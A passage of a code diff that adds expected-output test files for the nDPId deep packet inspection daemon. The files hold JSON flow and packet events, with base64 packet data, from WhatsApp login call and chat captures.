+00423{"flow_id":62,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1225,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432582355,"pkt_ts_usec":683537,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"xiwDYGpkAPS5Jrv0CABFAAAoLm1AAEAG9aPAqAIEEa1CZsA1Abt+ckYHpMYnIVAQP\/cGzAAA"} +00432{"flow_id":62,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1226,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432582355,"pkt_ts_usec":684925,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":26,"pkt":"xiwDYGpkAPS5Jrv0CABFAAAu4OtAAEAGQx\/AqAIEEa1CZsA1Abt+ckYHpMYnIVAYQADusAAAFAMDAAEB"} +00478{"flow_id":62,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1227,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432582355,"pkt_ts_usec":685119,"pkt_caplen":91,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":91,"pkt_l4_len":57,"pkt":"xiwDYGpkAPS5Jrv0CABFAABNvYhAAEAGZmPAqAIEEa1CZsA1Abt+ckYNpMYnIVAYQABfiQAAFgMDACBlbj7NKOVv0bwX\/wzcSsaG09IbALC\/kFKkm\/Y3LrNvGQ=="} +02383{"flow_id":62,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1228,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432582355,"pkt_ts_usec":687387,"pkt_caplen":1494,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1494,"pkt_l4_len":1460,"pkt":"xiwDYGpkAPS5Jrv0CABFAAXIpGxAAEAGegTAqAIEEa1CZsA1Abt+ckYypMYnIVAQQAB3VQAAFwMDB3czbaO77WXxaUmugwdBXA9ejFlgTN3zkgg8N54UAPBaxifRR9t7okZKbRjwY8WXHoBH9QIImaH9ltoQ\/A52+m8Vj7m98fgdySGZDeHTcTPhGCC0JRLOW+njjYF7juXwQRyYJCHCkCN2JbW\/QoWF8oqekIpfvRIx1UfoIRQ8USnpDtWxFIWv6+Td8V3WecvXoRHk8i\/Ly3MPU\/L22CBIJEfQabXHj8SzNA53FG8Cm4bruL8jWeOr\/HoblDuMojIjCPwur3PgvQk89OiYRJ0duSg3ygNIBCxV5k7\/U9GEihJO4ElJpSPb4pYCP8nYbtRdrLKh60nvXLCDD4+\/aKlRcsi4nTjPc\/XTy+BWJohPx6K1Nh2SYQcq7fQbFHfGIMCEJSsF1QZ96afMtZmqWhvQZmsdv9zC1KjHWbZI8Deg00lT8K5o+oaNWq+v4wuUolPe2nxPF\/D4gPfDJJj\/v0eKxecy81W7zCxwz0XWKAG4He5dj7pi5IHtkK4SK6CGck6LvGOoJLS853w2MAC86WsQragKzQOZn7O2dj4lgoYzDK4gSXUqRW\/5c4xpmP6cqXLlyI9Ak2UZM0JxC0ga\/zWglCRhvYYE4v9Sq3qaYsFdPhwcaO5P30\/2iz6rfoXGv9whRfCXlHG+ePoictC0sHQgIR+0BZxYfSEyx+3eif67MxEURzRU8TdyA5ctUTqkTswadkC1yJ3y\/fvIPHhq5UDAB0EFBYJnsVTsXHYJ11HllmCZcjXhf9XgNwLD5gTWLZcRCgWvufnnTs95nuKqsZ5UvZ56uhu\/rZdTUJbS4mwmqaEGTZ3x+XisoXkOvKcVC+8TTvIyuVHG37Qb+0lua2Gv0zGDN57e8m3blYbVk51djLkIKL+qHSkuMge9kGjpFEiNELxZWw8OL1ccmE9zSoNDRQnez\/EIDaIut7DHXbB09FcEfs3RK\/lMrODYMeHO+FxNUDWnSlhKe0X9edr0gsi9BkwRX4Z5WMQlbhdvWE44A8jDZpDeddeQADvd+fF\/6aAEOgNJen2m2gWNsZPjKotFSuNLMSUW0\/b4QAfsICxKzQxEkhySsm3vlH\/BG9TpDQKlp3HjM2EsHTaa9lManO0iaIFJeD003x01a7MXm1Ff2vzk3z7Kp8McprSI23vFIFX5OUW7RoGTTIxTALFGreXSwscralHj3Zi7HviFjalID7QF+Zt2UMtKD0o+ccaiUycLraQtlddmBsBRKexaPYpgQf+cTzQ49Wh+1t\/DbRZYNjtotnJWMXUjoqb\/5DpPu5SJGAakT7rW08IlWRuhgd8sX0POcwIP1fKWLbHBuUmIheQTvKH+B1N1mowg3cnCHewZsr1dAkyGV+9I8MItE7QId\/iZrVnmduzFeKR+H+211\/eg4ToC2Q48TnnDnOa99NSFzUQEYAJO7vrq6X8fdrWX+gvEuoy\/J\/sfSAK2MkOzSbkX0qRzqNSnkqiozVUs0WjLCB9\/MCGjQOC6CFHyrjzDwc++7ZYfGN27UeiorcNEGAJLosBqNB8xJ7xiSEOgP\/m2PI+nultPeMguSBCI4tbRRX19hgQqFk1vpZfHyEQ4Nh0xrJO4nMF6P+bxmHhkGrfqiJvCZfBUyoBLI+SkAc096iE2PKudwugqljP7BNLoe9b7smnaj++HrT+mKx4RYlgYI0Fe\/32qkNBFtVhZ1YogEkrj2HQTDBAJ8k7+Za65h3nDxySZ1OfypnUbcRkFQBjFQSlHvGHpqBJJuJ8fdigE\/R7OD8Lu7tuANtOsrdDNgAMUKYhH4QX0Vbn\/YTXLeRkMgQ0\/q8CYHO2A2D9yWKje3UyqSttt9Eym0OrsK\/oz6Dj8x+I1Ya9SDWJOwOJLumuQ7+jaQY3qo2k2Z2extvWancgbZQzQEBD+o\/nz3rhzKIvza+g0+yotyC9UrZ+K"} +01075{"flow_id":62,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1229,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432582355,"pkt_ts_usec":687697,"pkt_caplen":530,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":530,"pkt_l4_len":496,"pkt":"xiwDYGpkAPS5Jrv0CABFAAIEb8xAAEAGsmjAqAIEEa1CZsA1Abt+ckvSpMYnIVAYQADR\/AAA07qQm4Ep0AfMbjrgKekirE5be9v5Y+Wt1PAp6dI+Z4ARIiX+eLC+79A323Mj0KuVlIUDWrBIBcROtFlN8VfWaN6sa6B4XXFVLwUe0Z6ZpuPy1HV799SBD5vvu55T\/4RCUUJeV7GbDbY6PVaSFFTT\/atC0jn9rxns6y18hbmv204g\/nVtLhL2hXSK9HiYbtGUwLztMxPbS4LvHc9A0b0+bqvvDEt6LkjqI+Lesoe6b62pKL3IKBvorYENnF9qHSxNOwlsPgMzRVlLbyimWNNZrcer1C1CRcGG+V7wbob1Zc+UVhgBegrhOir\/rgKxmBs\/FiTnInvI7cRUb3h\/bi3xfbINMNlah26Uv0uiKT7EWR8k5couZdKk2WeQJlhB1w8YvLDsunijXRN8qDZSMsKf7YZYHjUEAqXOzU5sAtM\/j+dylKKWaW99TJ9g4jbuk9ahXioY6kRV2A4pl\/x\/Xrb2WswFT2Bfy0iDYza1TjQWnW0J5l5uKypI0UPG0FBTQI+k7I9+xQQFSfOk7eagGIZ6Zs9e57jwNDdoJi3JRJJg+B2ZiMgsFQXq+s+nh7MSkUoWNiE5Iy4AvjFRsiVz\/xxUbdH8A05OcaYBow\/2+b462kjuJvVq+zWN4by\/ndM="} +01184{"flow_id":62,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1230,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432582355,"pkt_ts_usec":688132,"pkt_caplen":610,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":610,"pkt_l4_len":576,"pkt":"xiwDYGpkAPS5Jrv0CABFAAJUH0BAAEAGAqXAqAIEEa1CZsA1Abt+ck2upMYnIVAYQACaaAAAFwMDAidAn5TunsQA5kB6eBA6g9VebaQimygge\/hXxshDmXRvwQVxcO663ZsQaekX+f80ePuR+K9BmrVgK40BYDnAvd76Ifg1Hsr2ur8Ya5z\/7qa+b5\/rMR2QCAm46uYlis8Zy0kaEW82czqkG+fl2OAgiTpTqFnur1H24\/0Z3BSCXUJ294H3IU2S9xMMpwsN66IU6b8DiPQuBLRwhQ0mMGkbHqfOeH\/z7QZyHnmy9a9\/cJAbxn+onX9l7QdoUMt5zp09X0vLmEmPoDCaLpEhVsYaeag8jYxc1E5XNObgOXL99cq82NpNcuXbusdHw3T6PDZ7exko+xpxaFKwt3a5wYM8fe2qiUNDr63QUj1ROaNzmC1xkBO+1jW\/7CUW9lpVcwEAoFcFNgN8O33NHJA8vWZBoZ\/DYapcjdQupgM9e6isfgDmZiKATgDeqypQr+xd5\/LxyU\/RaPY9WOrIA8tPoSbI4N5AzqLxsVTHUngrFvnBCp+sgER84VU63qRZ4itrOD3FYJU3stRdg5YQfis\/d+tEZBlyoYJ4ATDZAj\/kcCuYRT77zCSFHuHOB1KTRYG0hb0q7Z2Ba4CvPQRRk6muSXX0kBVMJLBihtC5xn9TlKS5E5Or5xNT0IVCbJPzjDTyhTW9thsz5mXaXay20wG71jZ8jQuNobEb1Fi+sv60gljhkHSNO1\/hEvCWh2DnTZNjBOW5bAa6jz6\/T2KEhvp9xBSsYVBBh4QxUxKpxw=="} +00423{"flow_id":62,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1231,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432582355,"pkt_ts_usec":822954,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"APS5Jrv0xiwDYGpkCABFAAAo0+EAAO8G4S4RrUJmwKgCBAG7wDWkxichfnJGDVAQC2k7VAAA"} diff --git a/test/results/whatsapp_login_chat.pcap.out b/test/results/whatsapp_login_chat.pcap.out new file mode 100644 index 000000000..6b39dec27 --- /dev/null +++ b/test/results/whatsapp_login_chat.pcap.out @@ -0,0 +1,72 @@ +00485{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1,"source":"whatsapp_login_chat.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":1,"flow_first_seen":1432582377898,"flow_last_seen":0,"flow_tot_l4_data_len":52,"flow_min_l4_data_len":52,"flow_max_l4_data_len":52,"flow_avg_l4_data_len":52,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.1","dst_ip":"192.168.2.255","src_port":57621,"dst_port":57621,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00471{"flow_id":1,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1,"source":"whatsapp_login_chat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432582377,"pkt_ts_usec":898864,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"pkt":"\/\/\/\/\/\/\/\/xiwDYGpkCABFAABI56kAAEARDKvAqAIBwKgC\/+EV4RUANKgAU3BvdFVkcDCYJeGQmjjiDQABAARIlcID1NylhjSgAeWF26p2NNVFJFGe2SE="} +00518{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1,"source":"whatsapp_login_chat.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":1,"flow_first_seen":1432582377898,"flow_last_seen":0,"flow_tot_l4_data_len":52,"flow_min_l4_data_len":52,"flow_max_l4_data_len":52,"flow_avg_l4_data_len":52,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.1","dst_ip":"192.168.2.255","src_port":57621,"dst_port":57621,"l4_proto":"udp","ndpi": {"proto":"Spotify","breed":"Acceptable","category":"Music"}} +00480{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":2,"source":"whatsapp_login_chat.pcap","alias":"nDPId-test","flow_id":2,"flow_packet_id":1,"flow_first_seen":1432582379543,"flow_last_seen":0,"flow_tot_l4_data_len":42,"flow_min_l4_data_len":42,"flow_max_l4_data_len":42,"flow_avg_l4_data_len":42,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.4","dst_ip":"192.168.2.1","src_port":61697,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00450{"flow_id":2,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2,"source":"whatsapp_login_chat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432582379,"pkt_ts_usec":543659,"pkt_caplen":76,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":76,"pkt_l4_len":42,"pkt":"xiwDYGpkAPS5Jrv0CABFAAA+Df0AAEAR51zAqAIEwKgCAfEBADUAKg3CrIsBAAABAAAAAAAAA2UxMgh3aGF0c2FwcANuZXQAAAEAAQ=="} +00649{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":2,"source":"whatsapp_login_chat.pcap","alias":"nDPId-test","flow_id":2,"flow_packet_id":1,"flow_first_seen":1432582379543,"flow_last_seen":0,"flow_tot_l4_data_len":42,"flow_min_l4_data_len":42,"flow_max_l4_data_len":42,"flow_avg_l4_data_len":42,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.4","dst_ip":"192.168.2.1","src_port":61697,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS.WhatsApp","breed":"Acceptable","category":"Chat"},"dns": {"query":"e12.whatsapp.net","num_queries":0,"num_answers":0,"reply_code":0,"query_type":1,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00623{"flow_id":2,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3,"source":"whatsapp_login_chat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432582379,"pkt_ts_usec":571955,"pkt_caplen":204,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":204,"pkt_l4_len":170,"pkt":"APS5Jrv0xiwDYGpkCABFAAC+Me8AAEARwurAqAIBwKgCBAA18QEAqrdkrIuBgAABAAgAAAAAA2UxMgh3aGF0c2FwcANuZXQAAAEAAcAMAAEAAQAAAiQABLitsy\/ADAABAAEAAAIkAASeVTpnwAwAAQABAAACJAAEuK2zLMAMAAEAAQAAAiQABLitsyPADAABAAEAAAIkAARsqLDGwAwAAQABAAACJAAEnlU6NMAMAAEAAQAAAiQABJ5VOg\/ADAABAAEAAAIkAASeVTol"} +00679{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":3,"source":"whatsapp_login_chat.pcap","alias":"nDPId-test","flow_id":2,"flow_packet_id":2,"flow_first_seen":1432582379543,"flow_last_seen":1432582379571,"flow_tot_l4_data_len":212,"flow_min_l4_data_len":42,"flow_max_l4_data_len":170,"flow_avg_l4_data_len":106,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.4","dst_ip":"192.168.2.1","src_port":61697,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS.WhatsApp","breed":"Acceptable","category":"Chat"},"dns": {"query":"e12.whatsapp.net","num_queries":1,"num_answers":8,"reply_code":0,"query_type":1,"rsp_type":1,"rsp_addr":"184.173.179.47"}} +00483{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":4,"source":"whatsapp_login_chat.pcap","alias":"nDPId-test","flow_id":3,"flow_packet_id":1,"flow_first_seen":1432582379591,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.4","dst_ip":"158.85.58.15","src_port":49206,"dst_port":5222,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00452{"flow_id":3,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4,"source":"whatsapp_login_chat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432582379,"pkt_ts_usec":591505,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"xiwDYGpkAPS5Jrv0CABFAABAjylAAEAGEH7AqAIEnlU6D8A2FGYksXJ9AAAAALAC\/\/+BgwAAAgQFtAEDAwQBAQgKLfyAogAAAAAEAgAA"} +00448{"flow_id":3,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5,"source":"whatsapp_login_chat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432582379,"pkt_ts_usec":745503,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"APS5Jrv0xiwDYGpkCABFAAA8XOEAADUGjcqeVToPwKgCBBRmwDYfJVHSJLFyfqAS\/\/8RNgAAAgQFrAEDAwkEAggKXZ2yry38gKI="} +00434{"flow_id":3,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6,"source":"whatsapp_login_chat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432582379,"pkt_ts_usec":848522,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"xiwDYGpkAPS5Jrv0CABFAAA0bGhAAEAGM0vAqAIEnlU6D8A2FGYksXJ+HyVR04AQIFgeowAAAQEICi38gaNdnbKv"} +00434{"flow_id":3,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7,"source":"whatsapp_login_chat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432582380,"pkt_ts_usec":26665,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"APS5Jrv0xiwDYGpkCABFAAA05WEAADUGBVKeVToPwKgCBBRmwDYfJVHTJLFyfoAQAgI7+AAAAQEICl2ds7At\/IGj"} +00666{"flow_id":3,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8,"source":"whatsapp_login_chat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432582380,"pkt_ts_usec":392956,"pkt_caplen":232,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":232,"pkt_l4_len":198,"pkt":"xiwDYGpkAPS5Jrv0CABFAADadGtAAEAGKqLAqAIEnlU6D8A2FGYksXJ+HyVR04AYIFieBQAAAQEICi38g6pdnbOwV0EBBQAAGvgFAaWRifwSaVBob25lLTIuMTIuMi01MjIyAAAZ+AKc+AT4AfwHcHJpdmFjefgBgPgBQPgBeAAAZvgGDFa\/tfwMMzkzNDczNDYxNzY4\/FBoME2HogokCAgPrR9GeJ2i0w6wLwjITxt5JorMO\/\/Lf1x\/ZwJLOvSC0XFN7QGNpunD0LGDG4tou2tUxcBy8ZGRsH7pztrwCaJmXTt0t17cmg=="} +00542{"flow_id":3,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9,"source":"whatsapp_login_chat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432582380,"pkt_ts_usec":574753,"pkt_caplen":144,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":144,"pkt_l4_len":110,"pkt":"APS5Jrv0xiwDYGpkCABFAACCBo4AADUG49eeVToPwKgCBBRmwDYfJVHTJLFzJIAYAgIKPAAAAQEICl2dtdIt\/IOqAAAF+AMBOpEAAAP4AZyAAD1V7Q4cxEWjokngmkJ3StTjfo1k+moICoI+8SD7S955gguNYtbETmPiu5AT9LcC7DvsfsMG9N2tBB+NnTXn"} +00465{"flow_id":3,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":10,"source":"whatsapp_login_chat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432582380,"pkt_ts_usec":585343,"pkt_caplen":87,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":87,"pkt_l4_len":53,"pkt":"APS5Jrv0xiwDYGpkCABFAABJCrsAADUG3+OeVToPwKgCBBRmwDYfJVIhJLFzJIAYAgJW\/gAAAQEICl2dtdot\/IOqgAASiqq2Jxp4k93SlQQHJx41spS4"} +00435{"flow_id":3,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":11,"source":"whatsapp_login_chat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432582380,"pkt_ts_usec":667758,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"xiwDYGpkAPS5Jrv0CABFAAA0PsVAAEAGYO7AqAIEnlU6D8A2FGYksXMkHyVSIYAQIFMXXwAAAQEICi38hNVdnbXS"} +00435{"flow_id":3,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":12,"source":"whatsapp_login_chat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432582380,"pkt_ts_usec":668036,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"xiwDYGpkAPS5Jrv0CABFAAA05yJAAEAGuJDAqAIEnlU6D8A2FGYksXMkHyVSNoAQIFEXRAAAAQEICi38hNVdnbXa"} +00713{"flow_id":3,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":13,"source":"whatsapp_login_chat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432582380,"pkt_ts_usec":699684,"pkt_caplen":267,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":267,"pkt_l4_len":233,"pkt":"xiwDYGpkAPS5Jrv0CABFAAD9VD5AAEAGSqzAqAIEnlU6D8A2FGYksXMkHyVSNoAYIFG51QAAAQEICi38hPRdnbXagADGoXXHZHz3P+WAvXYApR6j9B\/8Di1FAm0voTPUQyHjPnlnJFxr9q5gDPJc+BkmKKUjAJ9oZSD\/4Wskfp0U8Kdrs2dD4oKwb6QDbtQvk5C9\/c6izkmzOF5XH9TpoNj3SAnD6fV9SR3aX8RhLEyuwTOAAzO4xOFdpP1B71Iiu3K\/Vht2rW+wWLgPgual6KmX6i4keD13Sjbhwg\/t14iYeVmFakM4W2yGyUL7cEWtRly5vjqVrCqiYf9xpx\/mLJxH1NQeNDsyWgIR"} +00481{"flow_id":3,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":14,"source":"whatsapp_login_chat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432582380,"pkt_ts_usec":859699,"pkt_caplen":98,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":98,"pkt_l4_len":64,"pkt":"APS5Jrv0xiwDYGpkCABFAABUqjsAADUGQFieVToPwKgCBBRmwDYfJVI2JLFz7YAYAgIl4QAAAQEICl2dtwUt\/IT0gAAdTm2OBkGLC85v18LKMqnYRqls5070C7uXMlkDWJk="} +00465{"flow_id":3,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":15,"source":"whatsapp_login_chat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432582380,"pkt_ts_usec":975003,"pkt_caplen":85,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":85,"pkt_l4_len":51,"pkt":"xiwDYGpkAPS5Jrv0CABFAABHh\/lAAEAGF6fAqAIEnlU6D8A2FGYksXPtHyVSVoAYIE+VnAAAAQEICi38hgZdnbcFgAAQqn0yZ6EpS9vbskJXFYhLcg=="} +00465{"flow_id":3,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":16,"source":"whatsapp_login_chat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432582381,"pkt_ts_usec":134521,"pkt_caplen":87,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":87,"pkt_l4_len":53,"pkt":"APS5Jrv0xiwDYGpkCABFAABJN7sAADUGsuOeVToPwKgCBBRmwDYfJVJWJLF0AIAYAgJJ0gAAAQEICl2duBct\/IYGgAASMNKDKRpEFhPS2sk7RlPTnJ77"} +00487{"flow_id":3,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":17,"source":"whatsapp_login_chat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432582381,"pkt_ts_usec":151252,"pkt_caplen":102,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":102,"pkt_l4_len":68,"pkt":"APS5Jrv0xiwDYGpkCABFAABYP+0AADUGqqKeVToPwKgCBBRmwDYfJVJrJLF0AIAYAgIQ5QAAAQEICl2duCct\/IYGgAAhcJs82WMNq3CnmaF1toG0Zp8XSCzemAAoxR129U3S+qk4"} +00492{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":18,"source":"whatsapp_login_chat.pcap","alias":"nDPId-test","flow_id":4,"flow_packet_id":1,"flow_first_seen":1432582381179,"flow_last_seen":0,"flow_tot_l4_data_len":1460,"flow_min_l4_data_len":1460,"flow_max_l4_data_len":1460,"flow_avg_l4_data_len":1460,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.2.4","dst_ip":"17.173.66.102","src_port":49205,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +02373{"flow_id":4,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":18,"source":"whatsapp_login_chat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432582381,"pkt_ts_usec":179399,"pkt_caplen":1494,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1494,"pkt_l4_len":1460,"pkt":"xiwDYGpkAPS5Jrv0CABFAAXIltFAAEAGh5\/AqAIEEa1CZsA1Abt+clmMpMYxPVAQQABXnAAAFwMDB3i+HiPgShCayKsiCSxppt+UVMG6sNLf32XwXp\/5y1\/Gi93F3S41DWF8\/kCqCE3bWkUsOQ\/D44TQ+2n51pbyMSPLw0aW5BBc1KN+NXFB6c0\/EvLUkiCkXMNnoBikvRGoWqnT3MsBLR3ifxEfJkx0KA0FgI9JutlWbXDDUTzCRBEZTuRft2ygLhc453pAbiPG9v0WPMDLHXiyCBIVg\/B5dK4qKFD6E2UMKFMhu4mZRR2j\/6qxWlXTvDrMGoz+8Qo7VA74VXDOmIIqRacL+CmsjHCFgzIlevE9HbzQStt3waOocRqfRvIAnyjErcnsgCXougYuTv7e+MXADNmAZBilIIoi3Uil6da7kvrxaXQ4p+uZdx7Gy5yoHJv8xUlpNlf\/6TnuDJ0Sr34mxp2ViDhiTjdQbwAa3oxSYIriERZCD+iy2XBPrLEva6gxIYSFoMA1nMvNEDvwHAwVpPX12H1IQq6zqjIg+g2T3TBZpcZ71NLHtrlkBg9o5NZd7LL0MCoUc5LF5gFQhEphIEtekSiwBF\/vWaUkYpAxP7LvgNiCoLKAfwM9RyhmY\/groOK8zq86A8Z\/A5kmVimU2YKg3RBFJIj4fY5ZjJv5w7NZlJ5I4tkbJJp4AoKwuThn7szdjjoI\/Gz6k3Cz8YZmXMOwDviwyDpLeaUvIrJPOa1ciNsy0vHmM7ukkMbC8Ej95C27cDvULH7dL6T0XGOtlAh\/1i8BfnuG9hN4cxa\/b+5gAAhOFw1eAAyMGcUy23P+89rorZ3KMrek+vuNcICgkwnazh1Z5AFtIzlWlMfxbaxy\/+pJoR3DnO0EuyOOHz4IdCogPPXsieGyIHTaGzpebRd3ow8OikTIF2RiPLnkFeI25KqwWpGL6weTaFVmxqKuafYQNbLXqeb1mf\/DlBl7xTHdJ\/K7sh+ashtIQDjtOnXuANeb1sDwla5nv+DnrsBoezknxm9kI8r\/CTGWQN\/tTHUBQ3JnQu2sU3BgKQv67idjs6\/xEGKN0fSceO\/OmdSiRN4eY5AKeqGiRb0iQcOp0eoO0nHkil+B5uKPiznWHrrsTIB9dEBiXQpdbXNu0tyB5osy9qzKMkf\/o9uJ+QSQ5cIo7DjRzFZnpJOkCxvvXWU+FpzDhZxIpMTrOA0QqAGTa21N2fhnR7KTBe68GBzD362LyujtxvtI68Y+e4qwU8QRYv94bSptDA1mC5d7hLaair0kLj5FJuw9fQYw56jdCBuIztl42Q9ip+eJzWCXzcqrMuxyZhMkusneUAU213bxe7LIroTzopLTvDr1KXzVypQq1ZP5NCiggcKfqeKZidfD+aXqLGRh7olUlGpaHuqy1maaxpidAIrK\/rniCznE3